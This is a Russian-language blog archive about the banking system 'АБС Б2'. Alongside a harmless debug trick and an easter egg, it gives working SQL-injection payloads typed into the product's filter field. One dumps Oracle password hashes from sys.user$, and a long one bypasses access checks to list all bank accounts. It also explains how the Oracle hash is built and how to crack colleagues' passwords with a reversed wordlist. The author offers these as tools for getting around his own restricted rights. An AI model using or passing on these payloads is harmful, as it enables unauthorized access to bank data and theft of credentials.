Показаны сообщения с ярлыком АБС Б2. Показать все сообщения
Показаны сообщения с ярлыком АБС Б2. Показать все сообщения

среда, 3 октября 2012 г.

Хаки АБС Б2

Узнал хак для АБС Б2, который очень полезен для тестирования и доработки функционала продукта. В рабочем окне необходимо нажать кнопку тильды "~", в результате появится маленькое окошко для ввода текста. Вводим только один символ "z" и жмем Enter. Получаем волшебное окно "Debug". Дальше уже все понятно.
Для активации данной возможности необходимо, чтобы в директории ADDINS был модуль Pb2Tracer.bpl и конфигурационный файл к нему Pb2Tracer.add.


Большое спасибо разработчикам!

П.С.: На продуктивной среде данную функцию включать не рекомендую!

UPD: Содержимое файла Pb2Tracer.add
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<taskmap>
<modulelist>
    <module name="b2Tracer" type="cs-plugin" filename="ADDINS\Pb2Tracer.bpl" load="startup"/>
</modulelist>
<tasklist/>
</taskmap>

четверг, 4 ноября 2010 г.

АБС Б2. Ход CREATOR'ом.

Продолжу тему ограничения прав доступа к АБС Б2. Поделюсь маленькими скриптами, которые значительно сократят время на получение прав доступа мегапользователя - CREATOR. 

четверг, 6 августа 2009 г.

Пасхальное яйцо в АБС Б2.

Хм, нашел пасхальное яйцо, оставленное разработчиками АБС Б2. Например, для вывода списка создателей продукта необходимо зайти на форму "справка/о программе" и зажав ctrl+shift щелкнуть левой клавишей мышки два раза на значке Б2. А для вывода смешных советов там-же нажать ctrl+shift и щелкнуть один раз правой клавишей мышки.

Спасибо разработчикам компании CS ltd, повеселили! )))

четверг, 30 июля 2009 г.

АБС Б2. Получение hashkeys.

Решил сделать отдельный пост посвященный именно получению хэш-паролей. Он будет продолжением предыдущего поста "Хранение паролей в Oracle" и дополнением к посту "АБС Б2. Ограничили доступ?".

Платформа для экспериментов в АБС Б2.
Заходим на формочку /Документы/Подтипы документов/ она состоит из трех полей. Это нам дает возможность создавать маленькие подзапросики для вывода нужной нам информации. Например, вывод хэша из таблицы user$ ))).

Формируем пользовательский фильтр.
На форме нажимаем F7, отобразиться форма фильтров, нажимаем на "редактировать" начинаем настраивать сам пользовательский фильтр. Выбираем поле "Код", операцию "одно из" и в значение прописываем строку:
0) union select user#, name, password from sys.user$ where password is not null order by 2 --
После нажимаем применить и принять. На форму выведется результат запроса в виде:
id | user | hashkey
--------------------
1 | sys | 89nf838v
...| ... | ...
А что делать с полученными данными было написано в предыдущем посте ...

среда, 29 июля 2009 г.

Хранение паролей в Oracle.

В сети встречал статьи с описанием метода хранения паролей в базе данных Oracle. Вот пришло время проверить на практике данные теории. В базе существует таблица user$, в которой хранятся хэши паролей пользователей. Заглянем в нее и выберем из нее хэши тех пользователей, которые нас интересуют. Например, SYS.

Немного теории - алгоритм создания хэша:

  1. Конкатенировать логин и пароль пользователя (обозначим эту операцию ||).
  2. Преобразовать полученную строку к верхнему регистру (UPPER(Логин||Пароль)).
  3. Если в ОС используется однобайтовая кодировка, то преобразовать каждый символ в двухбайтовый, заполнив старший байт нулями (0x00).
  4. Зашифровать получившуюся строку (дополняя ее нулями до длины блока), используя алгоритм DES в режиме CBC с фиксированным ключом, значение которого есть 0x0123456789ABCDEF.
  5. Зашифровать получившуюся строку еще раз с помощью DES-CBC, но используя последний блок предыдущего шага как ключ шифрования.
По адресу http://www.red-...ords.html находится замечательная статья с которой все началось, а также программка позволяющая осуществить подбор пароля по словарю. Моя история заканчивается на моменте, что в словарях, находящихся в архиве, присутствовал пароль установленный на системном пользователе.

АБС Б2. Невероятный реверс.
Разработчики программного комплекса АБС Б2, немного повысили безопасность, и пароль пользователя немного преобразовывают, перед тем как с этими данными будет выполнено подключение к базе данных. Сделали они довольно просто - проведя реверс строки с паролем. Поэтому если вы захотите "восстановить" пароли своих сотоварищей, то сделайте реверс паролей в файле wordlist и вперед... )))

понедельник, 20 июля 2009 г.

АБС Б2. Ограничили доступ?

Думаю вы замечали что разработчики в своем продукте Б2 прибегали к довольно интересным "пользовательским фильтрам" для отображения необходимых данных при переходе на другую форму. Такой трюк заставил обратить на себя внимание и отпечатался где-то далеко в памяти. После того как мои права ограничили я сразу вспомнил о подзапросах разработчиков.

Документация.
Изучение мануалов дало понять что никаких ограничений не существует в формировании "пользовательского фильтра", кроме ограничения - фантазии и знания азов SQL.

Пример.
Заглянем на форму "счета\аналитические счета". Обычная форма, вывод данных согласно выданных прав - просмотр одного отделения. Форма по-умолчанию смотрит на вьювер VAACCOUNT, который загружает данные с VIntAAccount. В последнем вьювере идет проверка прав и соответствующий вывод данных. Немножко меняем, точнее удаляем из него проверки, и получаем чистый запрос - возвращающий информацию о всех счетах - экранируем его скобочками, полученный результат указан ниже. Теперь мы готовы к проверке - нажимаем F7 и приступаем к редактированию "пользовательского фильтра".

Рис. 1 - редактор пользовательского фильтра.

В редакторе выбираем операцию "одно из", указываем совершенно любое "поле" и в "значение" вставляем запрос который у нас получился:
0) union (SELECT a.ID, a.accountno, a.description, b.ID baccountid, SUBSTR (b.NAME, 1, 25) baccountsname, b.activepassive_a090 activepassive, c.ID contragentid, c.sname contragentsname, c.nickname contragentnickname, c.contragrankid contragrankid, contragrank.sname contragranksname, a.lockremark, cur.ID currencyid, cur.sname currencysname, a.dateopen, a.datelastmove, a.dateclose, DECODE (SIGN (a.summabegin), -1, -a.summabegin, 0) summabeginactive, DECODE (SIGN (a.summabegin), 1, a.summabegin, 0) summabeginpassive, DECODE (SIGN (a.summanow), -1, -a.summanow, 0) summanowactive, DECODE (SIGN (a.summanow), 1, a.summanow, 0) summanowpassive, a.debet, a.credit, DECODE (SIGN (a.summanowvirtual), -1, -a.summanowvirtual, 0) summanowvirtualactive, DECODE (SIGN (a.summanowvirtual), 1, a.summanowvirtual,0) summanowvirtualpassive, astate.ID accountstateid, astate.sname accountstatesname, a.parentbaccountid, a.accountlimit, a.OPERATOR, a.summabegin,a.summanow, a.accountpassport, ABS (a.summabegin) abssummabegin, ABS (a.summanow) abssummanow, a.isparent, a.activatedate, a.auth_actionid auth_actionid, DECODE (NVL (a.auth_actionid, 0), 1, 'Добавление', 2, 'Изменение', 3, 'Удаление', 'нет' ) auth_action_name, a.approvedby approvedby, a.approveddate approveddate, a.modifiedby modifiedby, a.toboid, tobo.sname tobosname, a.special, a.siteid, a.BeginCloseDate, to_date(null) arcdate, substr(a.accountno, 6) accountcode FROM aaccount a, baccount b, contragent c, contragrank, currency cur, accountstate astate, tobo WHERE a.baccountid = b.ID AND a.contragentid = c.ID AND a.currencyid = cur.ID AND a.accountstateid = astate.ID AND c.contragrankid = contragrank.ID AND tobo.ID = a.toboid AND c.siteid = a.siteid AND tobo.siteid = a.siteid and a.accountstateid != 2
Замечания.
Для корректной работы "пользовательских sql-запросов" необходимо проверить, чтобы сортировка полей была выключена.

Домашнее задание.
1. Кто знает способ корректно обрабатывать сортировки, о которых я написал в замечании, прошу сообщить в комментария, думаю это будет полезно для всех.
2. Пишите запросы которые вас выручили в трудную минуту.